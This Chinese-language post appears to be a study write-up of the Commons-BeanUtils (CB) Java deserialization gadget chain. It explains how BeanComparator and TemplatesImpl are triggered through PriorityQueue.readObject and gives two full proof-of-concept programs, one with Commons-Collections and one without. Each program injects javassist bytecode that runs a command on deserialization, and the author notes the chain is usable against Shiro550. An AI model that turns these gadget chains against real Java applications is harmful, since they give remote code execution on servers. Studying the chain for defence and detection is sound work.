区别 CC2

CC2 中调用TransformingComparator.comparator后最终会调用到compare()
CB 中变成了调用BeanComparator.compare(),这里也是主要的触发位置


CB with CC (CC3.2.1 & CB 1.8.3)

依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>

前置知识

ComminsBeanUtils 介绍

CommonsBeanUtils 是一个 javabean 工具类,用于操作 JavaBean 对象。


利用点

CommonsBeanUtils提供了一个静态的方法PropertyUtils.getProperty(),这个方法可以直接调用任意 JavaBean 的 getter()
例:

1
2
3
4
5
Person person = new Person("aaa");
PropertyUtils.getProperty(person, "name");
// 等价于
Person person = new Person("aaa");
person.getName();

这个方法还支持递归调用
如果 a 对象有属性 b,b 对象有属性 c,那我们可以直接用PropertyUtils.getProperty(a, "b.c")递归获取


分析(withCC)

CB链的入口和 CC2 一样都是通过PriorityQueue.readObject()来触发反序列化
CB 链中后面变成了调用BeanComparator.compare()
BeanComparator.compare()
该方法内部会调用前面提到的getProperty()
这里 o1 如果传一个 TemplatesImpl 的对象,this.property 为outputProperties,即可调用TemplatesImpl.getOutputProperties()
TemplatesImpl.getOutputProperties()
这里又会调用newTransformer(),和 CC2 的后面都一样了


构造

在前面 CC4 的时候提到过 PriorityQueue 的 size 需要 >=2,而执行 add 时也会调用 compare()
BeanConparator.compare()中,如果this.property为空,则直接比较两个对象
BeanComparator.compare()
后面再通过反射将property设置为outputProperties,并将刚刚 add 进队列的1,2替换为恶意的 TemplatesImpl 对象


POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package org.assass1n.cblearn;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CBWithCC {

public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsBeanuntilsWithCCCC");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

byte[] bytes=payload.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name", "aaa");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes", new byte[][]{bytes});

BeanComparator beanComparator = new BeanComparator();
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(beanComparator);
priorityQueue.add(1);
priorityQueue.add(2);

setFieldValue(beanComparator,"property","outputProperties");
setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});

serialize(priorityQueue);
unserialize("ser2.bin");
}

public static void setFieldValue(Object obj, String fieldname, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser2.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return null;
}
}

上面这条链如果没加载CC依赖会报错没找到org.apache.commons.collections.comparators.ComparableComparator

打shiro550时也会因为上面这个原因报错,而在 shiro 中,他的 commons-beanutils只包含一部分commons-collections(不全),所以还有一条不依赖于CC的CB链


CB without CC(CB1.8.3 & CB1.9.2)

需导入CB1.9.2依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>

构造

思路就是先找一下这个报错的具体位置在哪儿
可以看到在BeanComparator构造函数的地方没有找到该类
BeanComparator.BeanComparator()
所以考虑找个类替换他,需满足:

  • 实现 Comparator 接口
  • 可以序列化
  • java shiro CB 中自带

找到类:
其实有很多
常用的为java.util.Collections$ReverseComparator或者java.lang.String$CaseInsensitiveComparator

1
2
3
//下面这两个二选一即可
setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER);
setFieldValue(beanComparator, "comparator", Collections.reverseOrder());

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package org.assass1n.cblearn;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;
//import org.apache.commons.collections.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Collections;
import java.util.PriorityQueue;

public class CBWithoutCC {

public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsBeanuntilsWithCCCC");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

byte[] bytes=payload.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name", "aaa");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes", new byte[][]{bytes});

BeanComparator beanComparator = new BeanComparator();
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(beanComparator);
priorityQueue.add(1);
priorityQueue.add(2);

setFieldValue(beanComparator,"property","outputProperties");
setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER);
// setFieldValue(beanComparator, "comparator", Collections.reverseOrder());

serialize(priorityQueue);
unserialize("CBWithoutCC.bin");
}

public static void setFieldValue(Object obj, String fieldname, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CBWithoutCC.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return null;
}
}